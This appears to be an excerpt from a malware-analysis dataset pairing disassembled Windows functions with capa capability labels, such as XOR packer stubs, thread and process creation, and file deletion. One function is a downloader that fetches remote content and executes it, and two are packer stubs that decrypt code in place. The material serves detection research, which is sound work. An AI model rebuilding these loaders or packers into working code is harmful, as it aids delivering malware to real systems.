joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40324c
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x892658]
mov ecx, dword [0x8915a8]
sub esp, 0x400
push esi
shr eax, 3
xor esi, esi
cmp eax, esi
jbe 0x4032ef
push ebx
push edi
mov edi, ecx
mov ebx, eax
cmp dword [0x892658], 0x959
jne 0x4032e1
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SleepEx]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateJobObjectA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsExA]
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetFileShortNameA]
push esi
lea eax, [ebp - 0x400]
push eax
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_LCMapStringA]
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push esi
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
push esi
call dword [sym.imp.KERNEL32.dll_HeapLock]
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push edi
call fcn.004030a8
add edi, 8
dec ebx
jne 0x403274
pop edi
pop ebx
pop esi
leave
ret
Function at 0x40420c
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x472168]
jne 0x404216
repz ret
jmp fcn.00407fcc

Function at 0x40970c
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0040687e
and dword [ebp - 4], 0
cmp dword [0x474310], 0
mov ebx, eax
jne 0x4097bd
push 0x40248c
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40986e
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x402480
push edi
call esi
test eax, eax
je 0x40986e
push eax
call fcn.0040680c
mov dword [esp], 0x402470
push edi
mov dword [0x474310], eax
call esi
push eax
call fcn.0040680c
mov dword [esp], 0x40245c
push edi
mov dword [0x474314], eax
call esi
push eax
call fcn.0040680c
mov dword [esp], 0x402440
push edi
mov dword [0x474318], eax
call esi
push eax
call fcn.0040680c
pop ecx
mov dword [0x474320], eax
test eax, eax
je 0x4097bd
push 0x402428
push edi
call esi
push eax
call fcn.0040680c
pop ecx
mov dword [0x47431c], eax
mov eax, dword [0x47431c]
cmp eax, ebx
je 0x409815
cmp dword [0x474320], ebx
je 0x409815
push eax
call fcn.00406887
push dword [0x474320]
mov esi, eax
call fcn.00406887
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x409815
test edi, edi
je 0x409815
call esi
test eax, eax
je 0x40980c
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40980c
test byte [ebp - 0xc], 1
jne 0x409815
or dword [ebp + 0x10], 0x200000
jmp 0x40984e
mov eax, dword [0x474314]
cmp eax, ebx
je 0x40984e
push eax
call fcn.00406887
pop ecx
test eax, eax
je 0x40984e
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40984e
mov eax, dword [0x474318]
cmp eax, ebx
je 0x40984e
push eax
call fcn.00406887
pop ecx
test eax, eax
je 0x40984e
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x474310]
call fcn.00406887
pop ecx
test eax, eax
je 0x40986e
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x409870
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
nop
nop
nop
nop
pop eax
add eax, 0x403d6f
nop
nop
sub eax, 0x403d15
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
jl 0x430030
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp fcn.00401219
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x408ecc
mov ecx, 0x279c3259
nop
nop
nop
nop
nop
test eax, eax
nop
je 0x43004e
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x430024
nop
nop
mov eax, section..data
nop
mov ebx, 0x42e1d0
nop
mov ecx, 0x8aa18f7
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x430084
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
nop
jne 0x43006c
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x4013c0
Capabilities:
Encode data using xor

Disassembly:
jmp 0x40c050
push ebp
push ebx
push edi
push esi
mov esi, dword [esp + 0x18]
test esi, esi
je 0x40c105
mov edi, dword [esp + 0x14]
xor ebx, ebx
mov ebp, dword [sym.imp.USER32.dll_ReleaseDC]
nop dword [eax]
push 0
push 0
call ebp
add byte [edi + ebx], 0x82
push 0
push 0
call ebp
add byte [edi + ebx], 6
push 0
push 0
call ebp
add byte [edi + ebx], 0xd6
push 0
push 0
call ebp
xor byte [edi + ebx], 0x4f
push 0
push 0
call ebp
add byte [edi + ebx], 0xdf
push 0
push 0
call ebp
add byte [edi + ebx], 0x77
push 0
push 0
call ebp
add byte [edi + ebx], 0xf4
push 0
push 0
call ebp
xor byte [edi + ebx], 0x28
push 0
push 0
call ebp
add byte [edi + ebx], 0x8b
push 0
push 0
call ebp
add byte [edi + ebx], 0x1b
push 0
push 0
call ebp
xor byte [edi + ebx], 0x1e
push 0
push 0
call ebp
add byte [edi + ebx], 0xeb
push 0
push 0
call ebp
xor byte [edi + ebx], 0xe8
push 0
push 0
call ebp
add byte [edi + ebx], 0xee
inc ebx
cmp esi, ebx
jne 0x40c070
pop esi
pop edi
pop ebx
pop ebp
ret

Function at 0x402cc5
Capabilities:
Encode data using xor

Disassembly:
jmp 0x40c110
push ebp
push ebx
push edi
push esi
sub esp, 8
mov eax, dword [esp + 0x1c]
mov edi, dword [eax + 0x10]
cmp dword [eax + 0x14], 0x10
mov ebp, eax
jb 0x40c128
mov ebp, dword [eax]
mov esi, dword [esp + 0x20]
xor esi, edi
cmp edi, 4
jae 0x40c137
mov ecx, edi
jmp 0x40c193
mov dword [esp], edi
shr edi, 2
cmp edi, 2
mov eax, 1
cmovae eax, edi
mov dword [esp + 4], eax
xor ebx, ebx
nop
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_GetSidSubAuthority]
mov ecx, 0x4d6888
push edi
call fcn.00403d41
imul eax, dword [ebp + ebx*4], 0x5bd1e991
mov ecx, eax
shr ecx, 0x18
xor ecx, eax
imul eax, ecx, 0x5bd1e991
imul esi, esi, 0x5bd1e991
xor esi, eax
inc ebx
cmp dword [esp + 4], ebx
jne 0x40c150
mov eax, dword [esp + 0x1c]
mov ecx, dword [eax + 0x10]
mov edi, dword [esp]
and edi, 0xfffffffc
and ecx, 3
xor eax, eax
cmp ecx, 1
je 0x40c1bc
cmp ecx, 2
je 0x40c1b2
cmp ecx, 3
jne 0x40c1cb
movsx eax, byte [ebp + edi + 2]
shl eax, 0x10
movsx ecx, byte [ebp + edi + 1]
shl ecx, 8
xor eax, ecx
movsx ecx, byte [ebp + edi]
xor ecx, eax
imul eax, ecx, 0x5bd1e991
xor esi, eax
mov eax, esi
shr eax, 0xd
xor eax, esi
imul ecx, eax, 0x5bd1e991
mov eax, ecx
shr eax, 0xf
xor eax, ecx
add esp, 8
pop esi
pop edi
pop ebx
pop ebp
ret

Function at 0x4035bc
Capabilities:
Terminate process

Disassembly:
jmp 0x456593
push 0x17
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
test eax, eax
je 0x4565a4
push 5
pop ecx
int 0x29
push esi
push 1
mov esi, 0xc0000417
push esi
push 2
call fcn.004058c6
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
pop esi
ret
Function at 0x401b40
Capabilities:
Start service

Disassembly:
push ebp
mov ebp, esp
lea eax, [ebp - 0x18]
sub esp, 0x68
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x54]
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], esi
mov dword [ebp - 4], edi
mov dword [ebp - 0x3c], 0x473640
mov dword [ebp - 0x38], 0x4b4abc
mov dword [ebp - 0x30], 0x401c47
mov dword [ebp - 0x2c], esp
mov dword [esp], eax
call fcn.0047f180
cmp byte [0x4be020], 0
je 0x401be0
cmp dword [0x4b7020], 0x42c
je 0x401be0
cmp byte [0x4b7010], 1
je 0x401be0
mov dword [esp + 8], 0
mov eax, dword [0x4be040]
mov dword [esp + 4], 0
mov dword [ebp - 0x50], 0xffffffff
mov dword [esp], eax
call sub.ADVAPI32.DLL_StartServiceA
sub esp, 0xc
test eax, eax
jne 0x401bf8
mov dword [esp + 4], 0x401ae0
mov dword [esp], 2
call fcn.0042ca00
mov edx, 0x42c
mov dword [0x4b7020], edx
lea eax, [ebp - 0x54]
mov dword [esp], eax
call fcn.0047f230
mov ebx, dword [ebp - 0xc]
mov esi, dword [ebp - 8]
mov edi, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
mov dword [esp + 4], 0x401b19
lea eax, [ebp - 0x28]
mov dword [esp], eax
mov dword [ebp - 0x50], 0xffffffff
call fcn.00456350
mov dword [esp], 2
lea eax, [ebp - 0x28]
mov dword [esp + 4], eax
mov dword [ebp - 0x50], 1
call fcn.0042c9b0
mov dword [ebp - 0x50], 0xffffffff
lea eax, [ebp - 0x28]
mov dword [esp], eax
call fcn.00456470
mov byte [0x4b7010], 1
jmp 0x401be0
Function at 0x413cb0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [esp + 0x10], 0
mov eax, dword [ebp + 8]
mov dword [esp + 0xc], 0x4be548
mov dword [esp + 8], 0x413c60
mov dword [0x4be548], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], 0
mov dword [esp], 0
mov dword [0x4be54c], eax
lea eax, [ebp - 4]
mov dword [esp + 0x14], eax
call sub.KERNEL32.DLL_CreateThread
sub esp, 0x18
mov esp, ebp
pop ebp
ret
Function at 0x424190
Capabilities:
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2d8
mov dword [ebp - 8], ebx
lea ebx, [ebp - 0x128]
mov dword [ebp - 4], esi
mov dword [esp + 4], 0x111
mov dword [esp], ebx
call sub.KERNEL32.DLL_GetSystemDirectoryA
sub esp, 8
test eax, eax
jne 0x4241c6
mov ebx, dword [ebp - 8]
mov esi, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
mov dword [esp + 4], 0x424069
mov dword [esp], ebx
call sub.msvcrt.dll_strcat
mov dword [esp + 4], 0
mov dword [esp], ebx
call sub.msvcrt.dll__access
test eax, eax
jne 0x4241bc
mov dword [esp + 8], ebx
lea esi, [ebp - 0x2c8]
mov dword [esp + 4], 0x424080
mov dword [esp], esi
call sub.msvcrt.dll_sprintf
mov dword [esp + 0xc], 0x2024
mov dword [esp + 8], 0x4240bb
mov dword [esp + 4], esi
mov dword [esp], 0
call sub.USER32.dll_MessageBoxA
sub esp, 0x10
cmp eax, 6
jne 0x4241bc
mov dword [esp], ebx
call sub.KERNEL32.DLL_DeleteFileA
sub esp, 4
test eax, eax
jne 0x4241bc
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x4240e0
mov dword [esp], esi
call sub.msvcrt.dll_sprintf
mov dword [esp + 0xc], 0x2030
mov dword [esp + 8], 0x424175
mov dword [esp + 4], ebx
mov dword [esp], 0
call sub.USER32.dll_MessageBoxA
sub esp, 0x10
jmp 0x4241bc

Function at 0x425470
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [esp + 0x10], 0
mov eax, dword [ebp + 8]
mov dword [esp + 0xc], 0x4cead0
mov dword [esp + 8], 0x425420
mov dword [0x4cead0], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], 0
mov dword [esp], 0
mov dword [0x4cead4], eax
lea eax, [ebp - 4]
mov dword [esp + 0x14], eax
call sub.KERNEL32.DLL_CreateThread
sub esp, 0x18
mov esp, ebp
pop ebp
ret

Function at 0x42ef10
Capabilities:
Compare security identifiers

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 0xc], ebx
mov eax, dword [ebp + 8]
mov dword [ebp - 8], esi
mov dword [ebp - 4], edi
cmp byte [eax], 0
je 0x42ef30
mov ebx, dword [eax + 4]
xor esi, esi
cmp esi, dword [ebx]
jb 0x42ef41
xor edx, edx
mov ebx, dword [ebp - 0xc]
mov eax, edx
mov esi, dword [ebp - 8]
mov edi, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.0042ed00
mov edi, eax
mov esi, esi
mov eax, dword [edi]
mov dword [esp + 4], eax
mov eax, dword [ebx + esi*8 + 4]
mov dword [esp], eax
call sub.ADVAPI32.DLL_EqualSid
sub esp, 8
mov edx, 1
test eax, eax
jne 0x42ef32
inc esi
cmp esi, dword [ebx]
jb 0x42ef50
jmp 0x42ef30
Function at 0x433d70
Capabilities:
Print debug messages
Terminate process

Disassembly:
push ebp
mov ebp, esp
lea eax, [ebp + 0xc]
sub esp, 0x7e8
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 4], ebx
lea ebx, [ebp - 0x7d8]
mov dword [esp], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], 0x7d0
call sub.msvcrt.dll__vsnprintf
mov dword [esp], ebx
call sub.KERNEL32.DLL_OutputDebugStringA
sub esp, 0x20
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
mov ebx, eax
mov eax, dword [0x4bdc10]
push eax
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
mov dword [esp + 0x1c], eax
mov eax, dword [0x4bdc40]
mov ebp, dword [ebx + 0xd55f4]
Function at 0x433dd0
Capabilities:
Terminate process

Disassembly:
push eax
call ebp
mov eax, dword [0x4bdc40]
mov dword [esp + 0xc], 0
push eax
call ebp
mov edi, eax
add esp, 8
mov eax, dword [0x4bdc18]
mov esi, edi
push eax
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov ebp, eax
mov eax, dword [str.InternetOpenA]
push eax
push ebp
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [esp + 0xc], eax
mov eax, dword [str.InternetOpenUrlA]
push eax
push ebp
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [esp + 0x10], eax
mov eax, dword [str.InternetReadFile]
push eax
push ebp
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [esp + 0x14], eax
xor ebp, ebp
mov dword [esp + 0x18], ebp
mov edx, dword [esp + 0xc]
push ebp
push ebp
push ebp
push 1
mov eax, dword [0x4bdc14]
push eax
call edx
mov edx, eax
test edx, edx
jne 0x433e67
push 0x10
mov edx, dword [0x4bdbc4]
mov eax, dword [0x4bdc24]
push eax
push edx
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
mov dword [esp], ebx
mov eax, dword [esp + 0x10]
push ebp
lea ecx, [0x4bdc04]
mov ebx, dword [ecx]
mov ecx, dword [ecx - 0x2c]
push ecx
push ebp
push ebp
push ebx
push edx
mov ebx, dword [esp + 0x18]
call eax
mov dword [esp + 4], eax
cmp dword [esp + 4], 0
je 0x433e48
mov ecx, dword [esp + 0x14]
lea eax, [esp + 0x18]
push eax
mov edx, dword [0x4bdc40]
push edx
push edi
push dword [esp + 0x10]
call ecx
test eax, eax
je 0x433ed7
mov dword [esp], edi
lea edi, [esp + 0x18]
mov ebp, dword [edi - 0x14]
mov eax, dword [esp + 0x18]
test eax, eax
jbe 0x433ed2
mov edx, dword [esp + 0x14]
add esi, eax
push edi
mov eax, dword [0x4bdc40]
push eax
push esi
push ebp
call edx
test eax, eax
jne 0x433eb5
mov edi, dword [esp]
xor ebp, ebp
cmp esi, edi
je 0x433e48
mov edx, dword [edi]
mov eax, ebp
mov ecx, dword [0x4bdc08]
mov edi, dword [ecx + eax]
add edi, edx
mov dword [eax + esi], edi
add eax, 4
cmp eax, 0x20
jl 0x433ee3
push esi
push dword [esp + 0x20]
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [esp], eax
cmp dword [esp], 0
je 0x433e48
mov edi, dword [0x4bdc20]
lea esi, [esp + 8]
push esi
mov eax, dword [0x4bdbbc]
push eax
push 0x4000
push edi
call dword [esp + 0x10]
mov eax, dword [0x4bdc38]
add ebx, eax
mov eax, dword [ebx + 4]
mov edx, dword [ebx + ebp*8 + 8]
add edx, eax
mov dword [edi + ebp*8 + 8], edx
mov ecx, dword [ebx + ebp*8 + 0xc]
add ecx, eax
mov dword [edi + ebp*8 + 0xc], ecx
inc ebp
cmp ebp, 0x7ff
jb 0x433f36
mov eax, dword [0x4bdbfc]
push esi
mov dword [edi + 8], eax
push dword [esp + 0xc]
push 0x4000
push edi
call dword [esp + 0x10]
mov ecx, dword [edi + 0xc]
add ecx, edi
lea edx, [0x4bdc3c]
mov eax, dword [edx]
add ecx, eax
mov edx, dword [edx]
add edi, edx
push edi
call ecx
add esp, 4
jmp 0x433e48
Function at 0x44bd70
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [esp + 0x10], 0
mov eax, dword [ebp + 8]
mov dword [esp + 0xc], 0x4cfbc0
mov dword [esp + 8], 0x44bd20
mov dword [0x4cfbc0], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], 0
mov dword [esp], 0
mov dword [0x4cfbc4], eax
lea eax, [ebp - 4]
mov dword [esp + 0x14], eax
call sub.KERNEL32.DLL_CreateThread
sub esp, 0x18
mov esp, ebp
pop ebp
ret
Function at 0x44fe20
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
lea eax, [ebp - 0x18]
push edi
push esi
push ebx
sub esp, 0x7c
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x64]
mov dword [esp], eax
mov dword [ebp - 0x4c], 0x473640
mov dword [ebp - 0x48], 0x4b5d10
mov dword [ebp - 0x40], 0x44ff94
mov dword [ebp - 0x3c], esp
call fcn.0047f180
mov edx, dword [ebp + 8]
mov eax, dword [edx]
cmp eax, 0xffffffff
je 0x44fe6e
mov dword [esp], eax
mov dword [ebp - 0x60], 3
call sub.KERNEL32.DLL_CloseHandle
sub esp, 4
mov ecx, dword [ebp + 8]
mov edx, dword [ebp + 8]
mov eax, dword [ecx + 4]
add edx, 4
mov eax, dword [eax + 0xc]
test eax, eax
je 0x44ff10
mov dword [esp + 4], edx
lea eax, [ebp - 0x38]
mov dword [esp], eax
mov dword [ebp - 0x60], 3
call fcn.00433740
mov dword [ebp - 0x60], 2
sub esp, 4
lea edx, [ebp - 0x38]
mov dword [esp + 4], edx
lea ecx, [ebp - 0x28]
mov dword [esp], ecx
call fcn.00410db0
mov dword [ebp - 0x60], 1
sub esp, 4
lea eax, [ebp - 0x28]
mov dword [esp], eax
call fcn.00457590
mov dword [esp], eax
call sub.KERNEL32.DLL_DeleteFileA
mov dword [ebp - 0x68], eax
sub esp, 4
lea eax, [ebp - 0x28]
mov dword [esp], eax
mov dword [ebp - 0x60], 2
call fcn.00456470
mov dword [ebp - 0x60], 3
lea eax, [ebp - 0x38]
mov dword [esp], eax
call fcn.00456470
mov edi, dword [ebp - 0x68]
test edi, edi
je 0x44ff38
lea esi, [esi]
lea edi, [edi]
mov dword [ebp - 0x60], 0xffffffff
mov eax, dword [ebp + 8]
add eax, 4
mov dword [esp], eax
call fcn.00456470
lea eax, [ebp - 0x64]
mov dword [esp], eax
call fcn.0047f230
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
call fcn.0042ea80
mov edx, dword [eax]
mov dword [esp + 4], 2
mov dword [esp], eax
call dword [edx + 0xc]
mov dword [esp + 4], 0x44fc10
mov dword [esp], eax
call fcn.004b3360
mov dword [esp], eax
mov edx, dword [ebp + 8]
add edx, 4
mov dword [esp + 4], edx
call fcn.00458390
mov dword [esp + 4], 0x44fc39
mov dword [esp], eax
call fcn.004b3360
mov dword [esp + 4], 0x42e600
mov dword [esp], eax
call fcn.00498ab0
jmp 0x44ff10

Function at 0x450030
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
lea edi, [ebp - 0x40c]
push esi
push ebx
sub esp, 0x42c
lea ebx, [ebp - 0x408]
mov esi, dword [ebp + 8]
mov eax, dword [esi]
mov dword [esp], eax
call sub.KERNEL32.DLL_FlushFileBuffers
sub esp, 4
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [esi]
mov dword [esp], eax
call sub.KERNEL32.DLL_SetFilePointer
sub esp, 0x10
lea esi, [esi]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], edi
mov dword [esp + 8], 0x3e7
mov dword [esp + 4], ebx
mov eax, dword [esi]
mov dword [esp], eax
call sub.KERNEL32.DLL_ReadFile
sub esp, 0x14
test eax, eax
je 0x4500cd
mov eax, dword [ebp - 0x40c]
test eax, eax
je 0x4500cd
mov dword [esp + 4], ebx
xor edx, edx
mov byte [eax + ebp - 0x408], dl
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.004b3360
jmp 0x450080
mov dword [esp + 0xc], 2
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [esi]
mov dword [esp], eax
call sub.KERNEL32.DLL_SetFilePointer
sub esp, 0x10
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x450140
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov eax, 0x473640
mov ebp, esp
push edi
lea edi, [ebp - 0x188]
push esi
mov esi, 0x450110
push ebx
sub esp, 0x1fc
mov ebx, 4
mov dword [ebp - 0x1ac], eax
mov eax, 0x4b5d1a
mov dword [ebp - 0x1a8], eax
lea eax, [ebp - 0x18]
mov dword [ebp - 0x1a4], eax
mov eax, 0x4503a0
mov dword [ebp - 0x1a0], eax
lea eax, [ebp - 0x1c4]
mov dword [esp], eax
mov dword [ebp - 0x19c], esp
call fcn.0047f180
mov dword [esp + 4], 0x450131
mov eax, 0x10
lea edx, [ebp - 0x128]
mov dword [ebp - 0x1c8], eax
xor eax, eax
mov dword [ebp - 0x1cc], eax
mov eax, dword [ebp + 0x10]
mov dword [esp], edx
mov dword [esp + 0x10], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
call sub.msvcrt.dll_sprintf
cld
mov eax, dword [ebp - 0x1cc]
mov ecx, 4
mov edx, dword [ebp + 0x14]
rep stosd dword es:[edi], eax
lea edi, [ebp - 0x178]
mov ecx, 0x11
rep stosd dword es:[edi], eax
cmp dword [edx], 0xffffffff
mov edi, 0x44
mov dword [ebp - 0x178], edi
mov dword [ebp - 0x16c], esi
mov dword [ebp - 0x14c], ebx
jne 0x450330
lea eax, [ebp - 0x198]
mov dword [esp], eax
mov eax, 0xffffffff
mov dword [ebp - 0x1c0], eax
call fcn.00433590
sub esp, 4
lea edx, [ebp - 0x198]
mov eax, 1
mov dword [esp], edx
mov dword [ebp - 0x1c0], eax
call fcn.00457590
mov dword [esp + 0x1c], eax
lea edx, [ebp - 0x188]
mov eax, dword [ebp - 0x1c8]
mov dword [esp + 0x24], edx
lea edx, [ebp - 0x178]
mov dword [esp + 0x20], edx
mov edx, dword [ebp - 0x1cc]
mov dword [esp + 0x14], eax
lea eax, [ebp - 0x128]
mov dword [esp + 0x18], 0
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], eax
mov dword [esp], 0
call sub.KERNEL32.DLL_CreateProcessA
mov dword [ebp - 0x1d0], eax
sub esp, 0x28
mov esi, 0xffffffff
mov dword [ebp - 0x1c0], esi
lea eax, [ebp - 0x198]
mov dword [esp], eax
call fcn.00456470
mov ebx, dword [ebp - 0x1d0]
test ebx, ebx
jne 0x450314
mov eax, dword [ebp - 0x188]
mov ecx, 0xffffffff
mov dword [ebp - 0x1c0], ecx
mov dword [esp], eax
call sub.KERNEL32.DLL_CloseHandle
mov eax, dword [ebp - 0x184]
sub esp, 4
mov dword [esp], eax
call sub.KERNEL32.DLL_CloseHandle
sub esp, 4
lea eax, [ebp - 0x1c4]
mov dword [esp], eax
call fcn.0047f230
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x188]
mov dword [esp], eax
call sub.KERNEL32.DLL_WaitForSingleObject
sub esp, 8
jmp 0x4502d1
mov dword [esp], 0xfffffff6
mov edx, 0x104
mov ecx, 1
mov dword [ebp - 0x14c], edx
mov eax, 0xffffffff
mov dword [ebp - 0x1cc], ecx
mov dword [ebp - 0x1c0], eax
call sub.KERNEL32.DLL_GetStdHandle
mov dword [ebp - 0x140], eax
mov edx, dword [ebp + 0x14]
sub esp, 4
or dword [ebp - 0x14c], 1
mov eax, dword [edx]
mov dword [ebp - 0x13c], eax
mov eax, dword [edx]
mov dword [ebp - 0x138], eax
xor eax, eax
mov word [ebp - 0x148], ax
mov eax, 0x8000000
mov dword [ebp - 0x1c8], eax
jmp 0x450216